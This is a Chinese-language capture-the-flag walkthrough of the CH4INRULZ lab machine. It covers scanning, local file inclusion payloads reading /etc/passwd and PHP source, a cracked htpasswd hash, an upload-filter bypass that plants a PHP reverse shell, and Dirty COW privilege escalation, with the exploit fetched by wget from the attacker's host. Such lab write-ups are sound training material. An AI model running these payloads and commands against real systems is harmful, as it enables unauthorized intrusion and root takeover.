CH4INRULZ靶机有点意思,渗透最重要最难的还是信息收集
该靶机作者很用心啊,把文件包含和文件上传很好的结合起来
靶机IP:192.168.8.137
信息收集
nmap -sS -Pn -A -p- -n 192.168.8.137

有80和8011两个WEB服务
爆目录发现http://192.168.8.137/development/

暂时无解。。。
继续爆8011的web,发现了可疑目录:http://192.168.8.137:8011/api/

看来有一些接口配置文件,“Frank's server”,用户应该就是“Frank”
文件包含读文件
依次访问这四个php文件,只有file_api.php能访问:http://192.168.8.137:8011/api/files_api.php

看来能用file参数读文件
读取/etc/passwd
http://192.168.8.137:8011/api/files_api.php?file=../../etc/passwd
GET读不到

burp抓包改POST试试,算了,直接firebug中POST:

frank:x:1000:1000:frank,,,:/home/frank:/bin/bash
frank能登录ssh
不过读不到etc/shadow文件
试试用文件包含伪协议以base64加密的形式读取页面源代码,只能读files_api.php
file=php://filter/convert.base64-encode/resource=files_api.php

然后在再对代码进行base64解密就可以得到源代码:
<head>
<title>franks website | simple website browser API</title>
</head>
<?php
$file = $_POST['file'];
include($file);
$get_file = $_GET['file'];
if(isset($get_file)){
echo "<b>********* HACKER DETECTED *********</b>";
echo "<p>YOUR IP IS : ".$_SERVER['REMOTE_ADDR'];
echo "</p><p>WRONG INPUT !!</p>";
break;
}
if(!isset($file)){
echo "<p>No parameter called file passed to me</p>";
echo "<p>* Note : this API don't use json , so send the file name in raw format</p>";
}
/** else{
echo strcmp($file,"/etc/passwd");
echo strlen($file);
echo strlen("/etc/passwd");
if($file == "/etc/passwd"){
"HACKER DETECTED ..";
}
}**/
?>
源码中禁止以GET形式读etc/passwd文件,其他的文件也读不到了
80站点中的index.html是网站的主页,但网站还未开发完成,想必会有一个备份数据的文件,尝试访问下index.html.bak
http://192.168.8.137/index.html.bak
可以down下一个index.html.bak文件

frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0
登录http://192.168.8.137/development/
密码的hash,拿去john解

密码frank!!!,登录
http://192.168.8.137/development/

同时想要登下ssh,失败了
文件上传
有文件上传点http://192.168.8.137/development/uploader/

上传php反弹shell

白名单限死了JPG, JPEG, PNG & GIF
上传shell.jpg,改后缀再上传

改成shell.php上传还是失败,就连上传shell.jpg也失败

好了,应该是检验了文件头部,添加头部信息,再上传
用GIF98法,再上传gif

找下文件上传的路径,包含它,再反弹
既然是myuploads path,那就可能是frankuploads,用户要大写啊,找到上传的路径了:
http://192.168.8.137/development/uploader/FRANKuploads/

反弹getshell
files_api.php文件包含以POST方式读上传的反弹马
http://192.168.8.137:8011/api/files_api.php
file=/var/www/development/uploader/FRANKuploads/shell.gif

反弹成功:

脏牛提权
uname -a
查看系统内核版本为2.6,果断想到脏牛,先用python切一下bash
python -c 'import pty;pty.spawn("/bin/bash")'

在kali中开启apach服务,靶机上直接wget下载脏牛脚本,找了好久,在tmp中才能写,下载到/tmp
wget http://192.168.8.253/dirty.c

编译执行,输入自定义密码:hack
gcc -pthread dirty.c -o dirty -lcrypt
./dirty


以root / hack 登录
su root

get flag:

总结
1、该靶机的重点和难点在于信息收集的过程,在80WEB服务中尚未开发完成的网站,利用8011端口WEB的服务找到文件包含读取passwd文件。
2、登录80的web后,找到文件上传,靶机限制了文件的格式和文件的类型大小等。通过修改反弹马的后缀和文件头部信息标识,绕过上传后,用POST读反弹马,反弹getshll。
3、登录后,利用脏牛提权get flag!!!
CH4INRULZ_v1.0.1靶机百度云下载
链接:https://pan.baidu.com/s/1F9OWwRgEXp4nCSerJHu5lw
提取码:84jo
网友评论